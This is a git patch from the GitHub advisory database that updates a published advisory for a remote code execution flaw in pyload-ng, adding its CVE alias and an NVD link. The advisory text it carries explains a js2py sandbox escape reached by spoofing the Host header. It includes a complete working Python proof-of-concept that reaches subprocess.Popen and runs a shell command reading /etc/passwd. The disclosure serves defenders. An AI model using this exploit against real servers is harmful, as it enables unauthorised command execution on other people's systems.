From a0a436437304e9b95c976a52e8fd0d1187b86e82 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 28 Oct 2024 21:55:11 +0000
Subject: [PATCH] Publish GHSA-r9pp-r4xf-597r

---
 .../2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json  | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/advisories/github-reviewed/2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json b/advisories/github-reviewed/2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json
index 3d644c48f6b..b86447d041b 100644
--- a/advisories/github-reviewed/2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json
+++ b/advisories/github-reviewed/2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json
@@ -1,10 +1,10 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-r9pp-r4xf-597r",
-  "modified": "2024-09-09T18:17:20Z",
+  "modified": "2024-10-28T21:52:37Z",
   "published": "2024-09-09T18:17:20Z",
   "aliases": [
-
+    "CVE-2024-39205"
   ],
   "summary": "pyload-ng vulnerable to RCE with js2py sandbox escape",
   "details": "### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n",
@@ -44,6 +44,10 @@
       "type": "WEB",
       "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39205"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"